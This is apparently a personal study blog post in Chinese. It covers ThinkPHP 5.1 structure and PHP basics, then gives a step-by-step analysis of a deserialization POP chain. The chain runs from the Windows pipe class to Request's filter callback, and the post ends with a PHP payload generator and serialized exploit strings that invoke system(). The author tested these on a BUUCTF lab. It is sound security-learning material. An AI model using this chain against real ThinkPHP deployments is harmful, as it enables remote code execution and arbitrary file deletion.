一、Thinkphp简介
1、了解
ThinkPHP,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架
2、目录结构
project 应用部署目录
├─application 应用目录(可设置)
│ ├─common 公共模块目录(可更改)
│ ├─index 模块目录(可更改)
│ │ ├─config.php 模块配置文件
│ │ ├─common.php 模块函数文件
│ │ ├─controller 控制器目录
│ │ ├─model 模型目录
│ │ ├─view 视图目录
│ │ └─ ... 更多类库目录
│ ├─command.php 命令行工具配置文件
│ ├─common.php 应用公共(函数)文件
│ ├─config.php 应用(公共)配置文件
│ ├─database.php 数据库配置文件
│ ├─tags.php 应用行为扩展定义文件
│ └─route.php 路由配置文件
├─extend 扩展类库目录(可定义)
├─public WEB 部署目录(对外访问目录)
│ ├─static 静态资源存放目录(css,js,image)
│ ├─index.php 应用入口文件
│ ├─router.php 快速测试文件
│ └─.htaccess 用于 apache 的重写
├─runtime 应用的运行时目录(可写,可设置)
├─vendor 第三方类库目录(Composer)
├─thinkphp 框架系统目录
│ ├─lang 语言包目录
│ ├─library 框架核心类库目录
│ │ ├─think Think 类库包目录
│ │ └─traits 系统 Traits 目录
│ ├─tpl 系统模板目录
│ ├─.htaccess 用于 apache 的重写
│ ├─.travis.yml CI 定义文件
│ ├─base.php 基础定义文件
│ ├─composer.json composer 定义文件
│ ├─console.php 控制台入口文件
│ ├─convention.php 惯例配置文件
│ ├─helper.php 助手函数文件(可选)
│ ├─LICENSE.txt 授权说明文件
│ ├─phpunit.xml 单元测试配置文件
│ ├─README.md README 文件
│ └─start.php 框架引导文件
├─build.php 自动生成定义文件(参考)
├─composer.json composer 定义文件
├─LICENSE.txt 授权说明文件
├─README.md README 文件
├─think 命令行入口文件
二、PHP学习
1、namespace
https://www.php.net/manual/zh/language.namespaces.rationale.php
广义上来讲,命名空间是一种封装事物的方法。
具体举个例子,文件 foo.txt
可以同时在目录 /home/greg
和 /home/other
中存在,但在同一个目录中不能存在两个 foo.txt
文件。这两个 foo.txt
相应的父目录 /home/greg
和 /home/other
就是两个不同的命名空间。
(1)命名空间的定义
(2)命名空间的使用: \
(3)namespace
关键字和__NAMESPACE__
常量
(4)别名和导入
PHP 可以为这些项目导入或设置别名: 常量、函数、类、接口、命名空间。
我的理解为:从其他命名空间导入,并且可以命名
(5)函数、常量和类
<?php
namespace my\name; // 定义命名空间,如果没有定义任何命名空间,所有的类与函数的定义都是在全局空间(为空)
class MyClass {}
----
function myfunction() {} //这是在命名空间 my\name 中的 myfunction()
$f = \myfunction(); // 调用全局的fopen函数
const MYCONST = 1;
----
$c = new ArrayObject; // 致命错误, 找不到 A\B\C\ArrayObject 类
----
$a = new MyClass;
$c = new \my\name\MyClass; // 这两个调用是一样的,不过使用了命名空间
----
----
function strlen($str)
{
return \strlen($str) - 1;//在全局空间中搜寻,就是一个系统函数
}
$a = strlen('hi'); // 命名空间中的函数或常量,会优先在该命名空间中搜寻
----
$d = namespace\MYCONST; // namespace关键字 为当前命名空间,调用现在命名空间中的常量MYCONST
$d = __NAMESPACE__ . '\MYCONST'; //__NAMESPACE__ 常量,为字符类型
echo constant($d); // 输出1 参数为字符串,必须为当前命名空间
echo constant('my\name\MYCONST'); //两个一样
?>
2、继承类extend
(1)当扩展一个类,子类就会继承父类所有 public 和 protected 的方法,属性和常量。除非子类覆盖了父类的方法,被继承的方法都会保留其原有功能。
(2)子类无法访问父类的私有方法。
<?php
class Foo{
public function printItem($string) {
echo 'Foo: ' . $string . PHP_EOL;
}
public function printPHP() {
echo 'PHP is great.' . PHP_EOL;
}
}
class Bar extends Foo{
public function printItem($string) {
echo 'Bar: ' . $string . PHP_EOL;
}
}
$foo = new Foo();
$bar = new Bar();
$foo->printItem('baz'); // 输出: 'Foo: baz'
$foo->printPHP(); // 输出: 'PHP is great'
$bar->printItem('baz'); // 输出: 'Bar: baz'
$bar->printPHP(); // 输出: 'PHP is great'?>
这个例子中,子类Bar继承了父类Foo,保留了父类的函数,同时在命名冲突的情况下,覆盖了父类的方法
3、trait 和 class
(1)trait
的使用
使用trait
要用use
自 PHP 5.4.0 起,PHP 实现了一种代码复用的方法,称为 trait
。通过在类中使用use
关键字,声明要组合的Trait名称。所以,这里类的继承要使用use
关键字
(2)trait
不能实例化
trait zx{
// const sss = 9; //不能使用const
public static function tt(){
echo 'tt';
}
public function yy(){
echo 'yy';
}
}
class uu{
use zx; //trait 的使用
const rr = 0;
public static function ty(){
echo 'ty';
}
public function yu(){
echo 'yu';
}
}
uu::tt(); //输出tt static
echo '<br>';
uu::ty(); //输出ty static
echo '<br>';
$u = new uu();
$u->yu(); //输出yu
echo '<br>';
$u->yy(); //输出yy
4、array_unshift()函数 和 array_key_exist()函数
(1)array_unshift()
在数组开头插入一个或多个单元
$queue = array("orange", "banana");
array_unshift($queue, "apple", "raspberry");
print_r($queue);
//$queue=array("apple","rasberry","orange","banana")
数组中的所有数字键名会被重新排序(包括字符串数字)
例如: [0] [1] [q] [2]
字符键名保持不变
(2)array_key_exist()
判断数组的键是否存在,返回bool
$a=array("Volvo"=>"XC90","BMW"=>"X5");
if (array_key_exists("Volvo",$a))
{
echo "键存在!"; //输出键存在
}
else
{
echo "键不存在!";
}
5、__call
方法
该方法有两个参数,__call($name,$args)
$name
就是方法名
$args`就是方法参数,返回值为数组
$a=new st();
$a->qwe(1,2);//不存在该方法
//$name=qwe
//$args=[1,2]
三、反序列化pop链挖掘
本次以学习思路为主,主要跟着教程一起做
https://blog.csdn.net/qq_43380549/article/details/101265818
1、漏洞挖掘思路
基本上接触到的反序列化漏洞都是利用魔术方法,魔术方法的调用导致一个类可以调用另一个类
以至于产生漏洞。
魔术方法:
比如:__destruct
__tostring
__call
__construct
等等
__destruct
在一个函数的调用结束后,便会执行,从这开始应该更好利用
2、漏洞分析
(1)搜寻__destruct
方法
四个方法中,只有在/thinkphp/library/think/process/pipes/Windows.php
中的方法有多余的调用,其他三个都是结束进程
我们以他为起点,开始挖掘;跟进removeFiles()
函数
namespace think\process\pipes;
class Windows extends Pipes
{
private $files=[];
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
}
代码逻辑是 遍历$this->files
数组中的文件,若存在就删除
而参数$files
是可控的,那么我们就可以 造成任意文件删除漏洞
POC构造:
class Pipes{
}
class Windows extends Pipes
{
private $files=[];
class function __construct(){
$this->files=['想要删除文件的路径'];
}
}
echo base64_encode(serialize(new windows());
(2)接下来,就要找注入点
在removeFile()
函数中,调用了一个file_exists($filename)
这个函数会将$filename
当做字符串来处理
若我们$filename
传入一个类,就会触发类中的__toString
方法
因此,全局搜索__toString
,Conversion.php
中调用了一个该方法,该方法又调用了toJson()
跟进toJson()
其中又调用了toArray()
,跟进toArray()
我们需要在toArray()
函数中寻找一个满足$可控变量->方法(参数可控)的
点
这样在调用__toString
方法时,就能调用我们控制的方法
trait Conversion
{
protected $append = [];
......
public function toArray()
{
$item = [];
$visible = [];
$hidden = [];
......
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
$relation->visible($name);
}
......
在toArray()
中,
$relation=$this->getRelation($key);
跟进getRelation()
,它位于Attribute
类中
参数$key
由$append
控制
但是在这句的后面if (!$relation)
,那么这个函数直接让它返回空就好了
跟进getAttr()
跟进getData()
trait Attribute
{
private $data = [];
......
到这能观察到,**$relation
的值就是$this->data[$name]
**
由于是trait
类,继承需要用到use
,那么需要找到一个子类,同时继承Attribute
和Conversion
(3)全局搜索use
在Model.php
找到了一个类
梳理一下目前需要控制的参数:
1.$files
位于Windows.php
的类Windows
2.$append
位于Conversion.php
的类Conversion
3.$data
位于Attribute.php
的类Attribute
利用链如下:
Start —> Windows->__destruct() —> Windows->removeFiles() —> file_exists() —>
Model->__toString() —> Model->toJson() —> Model->toArray()
3、代码执行点分析
第二步,找到了我们可以控制的方法:
$relation = $this->getAttr($key);
//`$relation`的值就是`$this->data[$name]`
$relation->visible($name);
并且$data
和$name(就是$append数组的值,也是一个数组)
都可控,这样让$relation
等于一个类,来满足下一条语句
接下来就要找到代码执行的点,而且类中不能有visible
方法
所以要寻找__call
方法,因为这个方法经常包含call_user_func()
或call_user_func__array()
这两个函数就能造成任意代码执行
__call
方法,在调用了类中不存在的方法后会触发,全局搜索后,在Request.php
中找到
class Request
{
protected $hook=[];
......
这里的$args
是可控的,$hook
也是可控的,$method=visible
那么就可以构造$hook
$hook=['visible'=>'method']
“但是array_unshift()
向数组插入新元素时会将新数组的值将被插入到数组的开头。这种情况下我们是构造不出可用的payload的。”
(这里我不是很理解,虽然数组插入了新元素,但是 [‘visible’=>’method’] 还是我们控制的,$args也是我们控制的,这样函数不是就能执行了吗?)
更新:
我的理解:因为$args是被插入的数组,而$args是call_user_func_array()的参数,元素插入之后,参数变多,就无法执行了
在Thinkphp的Request类中还有一个功能filter
功能,事实上Thinkphp多个RCE都与这个功能有关。我们可以尝试覆盖filter
的方法去执行代码。
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}
**$data = $this->getData($data, $name);**
......
// 解析过滤器
**$filter = $this->getFilter($filter, $default);**
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
}
else {
$this->filterValue($data, $name, $filter);
}
......
return $data;
}
为了控制input()
的参数,因为这些参数都是形式参数,我们先看看谁调用了input()
public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
$method = $this->method(true);
......
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
//get()函数
....
}
if (true === $name) {
......
}
return $this->input($this->param, $name, $default, $filter);
}
这里的参数仍然不可控,看看谁调用了param()
class Request
{
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
......
];
......
可以看到param()
的参数是可控制的,就是数组$config
中的var_ajax
isAjax()
的$config
可控,说明param()
的$name
可控,
param()
的$name
可控,说明input()
的$name
可控,而$data
就是param
中的$this->param
,是通过$_GET
赋值的
回到input()
,$data = $this->getData($data, $name);
跟进getData()
$data
就是$data[$val]
,就是$_GET
传入的值
继续往下看,$filter = $this->getFilter($filter, $default);
,跟进getFilter()
这里的$fileter
来自于$this->filter
继续往下看,这是一个回调函数,[$this,'filterValue']
是调用该类中的filterValue()
函数
第一个参数$data
为数组,是由$_GET
传入的
数组的键作为函数的第二个参数,数组的值作为函数的第一个参数,$filter
就是第三个参数
......
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
......
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
......
return $value;
}
$value = call_user_func($filter, $value);
$filter
是可控的,$value
也是可控的($_GET传入
,是传入的值),这样就能执行我们想要执行的函数
这样,所有的参数都可控了,捋一下思路:
1、Windows.php的类Windows
2、Model.php的抽象类Model,所以要找一个类继承Model,Pivot.php的类Pivot
3、Request.php的类Request
尝试构造playload
:
<?php
namespace think;
abstract class Model{//Attribute 和 Conversion
protected $append=[];
private $data=[];
function __construct(){
$this->append=['ethan'=>['calc.exe','calc']];
$this->data=['ethan'=>new Request()]; //进入Request()的__call()
}
}
//namespace think; 相同的命名空间,可以省略
class Request
{
protected $hook=[];
protected $filter="system";
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->config=['var_ajax'=>'']; //为空就能满足param的条件
$this->hook=['visible'=>[$this,'isAjax']]; //__call中调用自身类中的方法isAjax
$this->filter='system'; //可控
}
}
namespace think\process\pipes; //程序入口
use think\model\concern\Conversion; //Conversion所处的命名空间,用到了类中的__toString方法
use think\model\Pivot; //继承了抽象类 Model,要不然Model用不了
class Windows
{
private $files=[];
public function __construct(){
$this->files=[new Pivot()]; //这样程序入口就和其他类链接上了
}
}
namespace think\model; //类Pivot,必须有,要不然无法序列化
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows; //最后包含程序入口的命名空间,序列化Windows
echo urlencode(serialize(new Windows()));
?>
反序列化字符串为:
O:27:"think\process\pipes\Windows":1:{s:34:"think\process\pipes\Windowsfiles";a:1:{i:0;O:17:"think\model\Pivot":2:{s:9:"*append";a:1:{s:5:"ethan";a:2:{i:0;s:8:"calc.exe";i:1;s:4:"calc";}}s:17:"think\Modeldata";a:1:{s:5:"ethan";O:13:"think\Request":3:{s:7:"*hook";a:1:{s:7:"visible";a:2:{i:0;r:9;i:1;s:6:"isAjax";}}s:9:"*filter";s:6:"system";s:9:"*config";a:1:{s:8:"var_ajax";s:0:"";}}}}}}
url编码后的反序列化字符串为:
O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bs%3A5%3A%22ethan%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A8%3A%22calc.exe%22%3Bi%3A1%3Bs%3A4%3A%22calc%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22ethan%22%3BO%3A13%3A%22think%5CRequest%22%3A3%3A%7Bs%3A7%3A%22%00%2A%00hook%22%3Ba%3A1%3A%7Bs%3A7%3A%22visible%22%3Ba%3A2%3A%7Bi%3A0%3Br%3A9%3Bi%3A1%3Bs%3A6%3A%22isAjax%22%3B%7D%7Ds%3A9%3A%22%00%2A%00filter%22%3Bs%3A6%3A%22system%22%3Bs%3A9%3A%22%00%2A%00config%22%3Ba%3A1%3A%7Bs%3A8%3A%22var_ajax%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D%7D%7D%7D
然后直接在BUUCTF上开个靶场,传入反序列化字符串
总结:
而在实战中,若是存在这种反序列化的点,就有可能会造成RCE
这次学习,算是第一次接触这么复杂的东西,也是第一次反序列化利用链挖掘,收获了许多东西,希望自己能越来越强!加油!
- 本文链接:http://siii0.github.io/PHP%E5%AD%A6%E4%B9%A0-Thinkphp5.1.35%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96pop%E9%93%BE%E6%8C%96%E6%8E%98/
- 版权声明:本博客所有文章除特别声明外,均默认采用 许可协议。